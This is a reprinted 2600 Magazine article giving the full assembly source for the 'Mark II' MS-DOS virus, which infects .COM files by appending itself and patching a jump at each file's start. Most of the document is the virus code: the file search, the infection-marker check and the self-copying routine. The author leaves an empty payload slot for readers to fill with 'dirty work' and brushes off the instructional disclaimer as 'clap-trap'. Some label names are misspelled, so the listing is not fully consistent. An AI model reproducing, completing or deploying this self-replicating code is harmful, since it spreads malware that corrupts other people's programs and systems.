An MS-DOS Virus

by The Paranoid Panda

The MS-DOS *.COM file is the simplest of all executable files.  This format was included in MS-DOS to provide compatibility with the CP/M operating system.  Although CP/M seems to be largely a thing of the past, *.COM files are still being produced, so there is plenty of opportunity for infection.

As with the Atari virus I gave you in Spring 1991 issue of 2600, this virus is designed to infect executable files while still rendering them capable of fully performing their original, intended functions.  Consequently, this is not an overwrite virus, and preserves all of the infected file's original code.

The *.COM file has no program header, as do *.EXE files, and has no file trailer such as Atari *.PGM, *.TOS and *.TTP program files do.  All the *.COM file has is executable 80x86 instructions.  It must be capable of loading in one segment (64 kbytes), along with the Program Segment Prefix (PSP) created by MS-DOS at load time, as well as the two byte stack which is automatically created.  Hence, the complete *.COM file must always be 64 kbytes, less 256 bytes for the PSP, less 2 bytes for the stack.  As a result, a candidate file for infection must be short enough so that when its length is increased by the length of the virus, it will still not exceed this maximum length, and MS-DOS will still load it for execution.

MS-DOS will load *.COM files at offset 100 hex (100h using the Microsoft Assembler notation), and all memory references in the program are short (i.e. 16-bit) addresses.  This is, in essence, an absolute encoding and addressing scheme, so that the virus code cannot be added at the beginning while moving all the original code down in the address by the length of the virus.

The only way to add the virus is at the end, and to insert a short jump to the virus beginning at the start of the file.  This means that the first three bytes of the original code will be destroyed, so the virus must save these three bytes between the end of the file's code and the beginning of the virus code.  Once the virus has completed execution, it restores the original three to the file's beginning in RAM, and jumps there.

The comments in the accompanying listing pretty well tell the rest of the story, but a few words are still in order.  There is a space in the code, at symbolic location payload: for insertion of code which does the actual "dirty work" of the virus.  All you will find there is a single NOP instruction.  You can add whatever you think best at that point.  This code is supplied for instructional purpose only, and all that clap-trap.

Note also that this particular version of the virus does not perform a very sophisticated search for candidates for infection.  The search will only be performed in the directory where the already infected file resides, and does not search any sub-directories.  That's easy enough to fix, ans as the college text books say, that is an exercise which is left to the student.

Happy Computing!

mark-ii.asm:

PAGE,120

;Taken from 2600 Magazine, Spring 1992 ,Vol. 9, No. 1!
;Typing work done by OMEGA/MEGA-Ind. On 31th may 92.
;
;File VIRUS.ASM - This is the launch program for the Mark II virus
;It is to be assembled, linked, and converted to a *.COM file using
;EXE2BIN. When run, it looks within the defined search space for other
;COM files to infect, and infects them. Then it runs its payload module.
;This launch program is structured like an infected file, so it contains
;a "dummy" host program like that which would be in an infected file.
;Control is returned to this dummy host program when this program runs.
;In the infected file, control will be returned to the actual program
;it contains after the payload module of its parasitic virus runs.

_VIRUS SEGMENT
ASSUME cs:_VIRUS,ds:_VIRUS,ss:_VIRUS
ORG 100h

;This is the start of the dummy host program. Control is transferred
;here after the virus runs. All it does is terminate the program with
;a normal MS-DOS termination call, after having put out a message
;informing that the program has terminated normally.

;The next instruction is what is actually intended to be
;in the dummy host program. It is the beginning of the code which
;sets up the DOS call to write the termination message on the screen.
;The infected program which would have infected this one would have
;inserted a jump to the beginning of the virus over this, after saving
;what was actually there. When the virus completes, it will restore
;the parts of the mangled original host code, and run the host program.
;
;          mov bx,1
;
;What you see encoded below, using the "db" assembler pseudo-op, is
;the hand encoded jump to the beginning of the virus, installed by the
;program which would have infected this one. As it happens, the jump
;written into the beginning is the same length as the instruction
;(mov bx,1) which was there in the first place. In general, there
;is no guarantee just what will be there, and how long it will be.
;Since the program being infected is a COM program, the only guarantee
;is that the file will begin with some executable instruction. Thus,
;the program getting infected may have part of an executable instruction
;mangled by the inserted jump, or possibly one entire instruction plus
;part of another.
;
;The inserted code begins with "E9", the op-code byte for a jump relative
;to the contents of the IP as it will look after the jump plus displacement
;is fetched. (The IP will contain 103h. COM programs begin at offset
;100h, and the jump plus displacement requires 3 bytes.) The Next two
;bytes are the displacement to the beginning of the virus. The 
;displacement is calculated by the infecting program, as follows:
;
;D = displacement to be added to current IP (=103) to get to virus start.
;D = Uninfected file length
;  -
;  Current IP (=103)
;  +
;  4 bytes storage space for the overwritten first instruction.
;
;  If the uninfected length of the target file is odd, a zero byte
;  will be added at its end before the virus code is attached.
;
;  The virus will thus begin on a word boundary, and NOP's inserted
;  by the assembler to put other things on a word boundary will still
;  perform their intended purpose.

filelength EQU begin-start

start:
  db 0E9h               ;Op-code for jump
  dw filelength+4-3     ;Displacement calculation
  mov cx,lmessage
  mov dx,OFFSET message
  mov ah,40h
  int 21h               ;Put termination message on the screen
  mov ah,4Ch            ;Function number of normal pgm termination
  int 21h               ;Call DOS and terminate.

message:
  db "Launch program has terminated normally.",0Dh,0Ah,0
  lmessage EQU $-message

;This ends the dummy host program. What follows is the actual virus,
;which will be copied into the target file.

  virlength EQU finish-begin+102h   ;Length of virus + PSP + initial stack.

begin:
  db 0bbh,01,00    ;The instruction "mov bx,1" which
                   ;would have been saved here by the
                   ;infected program.
  db 00            ;Make save bin 4 bytes total.

virusbegin:
  ;The beginning of the actual virus code.
  ;Get and save the base address of the virus.
  mov bp,101h         ;Address of LSB of jump displacement
  mov bx,WORDPTR[bp]  ;Get displacement in bx
  add bx,103h         ;Add IP contents after first instruction
                      ;Now bx contains address of "virusbegin:"
  mov bp,100h         ;Beginning of pgm, where original
                      ;instruction will be restored.
  mov dl,[bx-4]
  mov [bp],dl         ;First byte
  mov dl,[bx-3]
  mov [bp+1],dl       ;Second byte
  mov dl,[bx-2]
  mov [bp+2],dl       ;Third byte
  push bx             ;Save the actual start of virus.

;########## STACK POINTER INFO:One word pushed on stack ###########

;********** Beginning of the Infection Module ***************

;First, search for an uninfected candidate file. If one is found,
;infect it before running the payload module. If none is found,
;proceed directly with the payload Module.

;Use function SFIRST (int 21h,fn. 4Eh) to get a candidate file.
  jmp sfirst          ;Jump over wildcard string

wildcard:
  db "*.COM",0        ;Wildcard name for COM files

sfirst:
  mov ah,4Eh          ;Function no. of SFIRST
  pop dx              ;Get base address of virus start
  push dx             ;Restore the stack pointer
  add dx,wildcard-virusbegin  ;Add distance to string.
  mov cx,0            ;Attribute word=seek normal files
  int 21h             ;Call DOS
  jnc over1           ;Found one.
  jmp payload         ;Otherwise, no COM files, do payload.

;Now that a candidate file is found, make sure that when the virus is
;added, it will not be too long to be a COM file. COM file maximum
;length is 64kbytes less 100h bytes for the PSP, less two bytes for the 0
;bytes added on the stack by the operating system on loading.

over1:
  mov bx,80h+1Ah      ;Address in PSP/PCB containing file length.
  mov ax,virlength    ;Length of virus
  add ax,[bx]         ;Will get overflow if file length too big.
  jno checkinfect     ;No overflow, keep going.
  jmp snext           ;This file too big to infect, try another

;A candidate file has been found. Determine if it is infected, or 
;go on to the next one.

checkinfect:

;Open the file.
fileopen:
  mov ah,3Dh          ;Fn. no of OPEN WITH HANDLE
  mov al,02           ;Open for read/write access.
  mov dx,80h+1Eh      ;Location in DTA of file name
  int 21h             ;Call DOS.
  jnc opened          ;Open was successful, continue
  jmp snext           ;Cannot open this file, look for more.

opened:
  push ax             ;Save file handle.

;##########  STACK POINTER INFO: Two words pushed on stack #############

;Open was successful, move the file pointer to the infection marker.
  mov ah,42h          ;Function no. of LSEEK
  mov al,02           ;Measure offset from end of file
  pop bx              ;Get file handle.
  push bx             ;Keep file handle on top of stack
  mov cx,0FFFFh       ;MSB of offset from end.
                      ;Sign extend.
  mov dx,0FFFCh       ;LSB of infection marker.
                      ;File end -4.
 int 21h              ;Call DOS.
 jnc over3            ;No error, continue.
 jmp closefil         ;Error occurred, close this one
                      ;and look again.

;Read the last four bytes.
over3:
  mov ah,3Fh          ;Fn. no of READ
  pop bx              ;Get file handle.
  pop dx              ;Get address of "virusbegin:"
  push dx             ;Restore to stack
  push bx             ;Restore file handle on stack.
  add dx,-4           ;Move pointer back to start of save bin.
  mov cx,4            ;Read 4 bytes
  int 21h             ;Call DOS
  jnc over4           ;No error, keep going.
  jmp closefile       ;Error occurred, close this one, look again.

;Compare the last four bytes with the infection marker.
over4:		    
  pop bx              ;Take file handle off to get to adr.
  pop bp              ;Get address of "virusbegin:"
  push bp             ;Restore buffer address
  push bx             ;Restore file handle.
  mov bh,[bp-4]       ;First byte
  mov bl,[bp-3]       ;Second byte
  xor bx,0001h        ;First half match?
  jnz over5           ;First half doesn't match, continue.

over4a:
  mov bh,[bp-2]       ;Third byte
  mov bl,[bp-1]       ;Fourth byte
  xor bx,0FFE0h       ;Second half match?
  jnz over5           ;No match. Continue.
  jmp closefile       ;Matches marker. Close and try again.

;File is not infected. Proceed to infect.
;Move file pointer to beginning of file.
over5:
  mov ah,42h          ;Fn. no. of LSEEK
  pop bx              ;File handle in bx.
  push bx             ;Keep the stack equalized.
  mov al,00           ;Offset from file beginning.
  mov cx,0            ;Offset = 0
  mov dx,0            ;Offset = 0
  int 21h             ;Call DOS
  jnc over6           ;No error, continue
  jmp closfile        ;Error, try another file.

;Save the first three bytes in the buffer.
over6:
  mov ah,3Fh          ;Fn. no. of READ
  pop bx              ;Get the file handle
  pop dx              ;Beginning of buffer
  push dx             ;Restore the stack
  push bx             ;Restore the stack
  add dx,-4           ;Move pointer to start of save bin.
  mov cx,3            ;Read 3 bytes
  int 21h             ;Call DOS
  mov al,0            ;Zero byte for fourth loc. in save bin.
  add dx,3            ;Reg. dx points to fourth loc in save bin
  mov bp,dx           ;Place in base pointer for index.
  mov [bp],al         ;Write zero byte in fourth loc.

;Move file pointer back to the beginning of the file.
  mov ah,42h          ;Fn. no. of LSEEK
  pop bx              ;File handle in bx.
  push bx             ;Restore the stack
  mov al,00           ;Offset from file beginning
  mov cx,0            ;Zero offset
  mov dx,0            ;Zero offset
  int 21h             ;Call DOS
  jnc past            ;No error, continue
  jmp closefile       ;Error, try another file

;Overwrite the first three bytes with a jump to virus beginning.
tembuf:
  db 0E9h,0,0

past:
  pop bx              ;Get file handle
  pop bp              ;Get actual address of "virusbegin"	
  push bp             ;Equalize stack
  push bx             ;Equalize stack 
  mov si,80h+1Ah      ;Location in DTA of file length
  mov ax,[si]         ;Get target file length in ax
  xchg ah,al          ;Swap halves temporarily
  sahf                ;Lower byte of file length to flag reg.
  xchg ah,al          ;Swap back
  jnc noadd           ;LSB of ax into carry. Jump if c(ax) even.
  add ax,1            ;Else, add one to c(ax) to make result even.

noadd:
  add ax,1            ;Total jump is file length -3+1
  add bp,tempbuf-virusbegin  ; Get address of tempbuf in bp
  mov [bp+1],al       ;First displacement byte
  mov [bp+2],ah       ;Second displacement byte
  mov dx,bp           ;Start of buffer to dx
  mov ah,40h          ;Function no. of WRITE
  mov cx,3            ;Write 3 Bytes
  int 21h             ;Call DOS

;Move the file pointer to the end of the file.
  mov ah,42h          ;Fn. no. of LSEEK
  mov al,02           ;Offset measured from end.
  mov cx,0            ;Zero offset
  mov dx,0            ;Zero offset
  pop bx              ;Get file handle
  push bx             ;Restore the stack
  int 21h             ;Call DOS

;Check target file length. If odd, add a 0 byte at the end.
  mov bp,80h+1Ah      ;Address of lower byte of file length
  mov ax,[bp]         ;Get lower byte in ax for comparison
  and ax,1            ;Get lsb of file length
  jz skip             ;Skip if file length even
  mov ah,40h          ;Fn. no. of WRITE
  pop bx              ;Get file handle
  pop bp              ;Address of "virusbegin"
  push bp             ;Equalize stack
  push bx             ;Equalize stack
  add bp,-1           ;Move pointer just behind saved 3 bytes
  mov dx,bp           ;Location of one byte buffer
  mov cx,1            ;Write one byte
  mov [bp],ch         ;Zero byte to be written
  int 21h             ;Call DOS

;Write the virus onto the end of the target file.
skip:
  mov ah,40h          ;Fn. no. of WRITE
  mov cx,finish-begin ;No. of bytes to be written equals 4 byte
                      ;save bin plus virus executable code.
  pop bx              ;Get file handle
  pop dx              ;Address of "virusbegin"
  push dx             ;Equalized stack
  push bx             ;Equalized stack
  add dx,-4	          ;Include saved first three bytes.
  int 21h             ;Call DOS
  pop bx              ;Get file handle
  mov ah,3Eh          ;Fn. no. of CLOSE
  int 21h             ;Close file for good.
  jmp payload         ;Infection complete. Run the viruspayload.

closefile:
  pop bx              ;Get file handle off stack permanently
  mov ah,3Eh          ;Fn. no. of CLOSE
  int 21h             ;Call DOS

; ########### STACK POINTER INFO:One word pushed on stack ###########

snext:
  mov ah,4Fh          ;Function no. of SNEXT
  int 21h             ;Call DOS
  jc payload          ;If error, just go and do payload.
  jmp fileopen        ;Otherwise, try to infect this one

; *********** End of the Infection Module ************

; ************** Beginning of the Payload Module. **********
payload:
  nop

; ************** End of the Payload Module ************
;Time to finish up. Restore the stack and jump to cs:100h
  pop bp
;############# STACK POINTER INFO:Nothing left on stack ###########
  mov ax,100h
  jmp ax

finish:
  _VIRUS ENDS
 END start

;                 Remember Where You Saw it First
;   -----------> Perfect Crime : +31-(0)-79-426-079 <-------------
;                Typing Work Done by OMEGA/MEGA-Ind.

Code: mark-ii.asm

Return to $2600 Index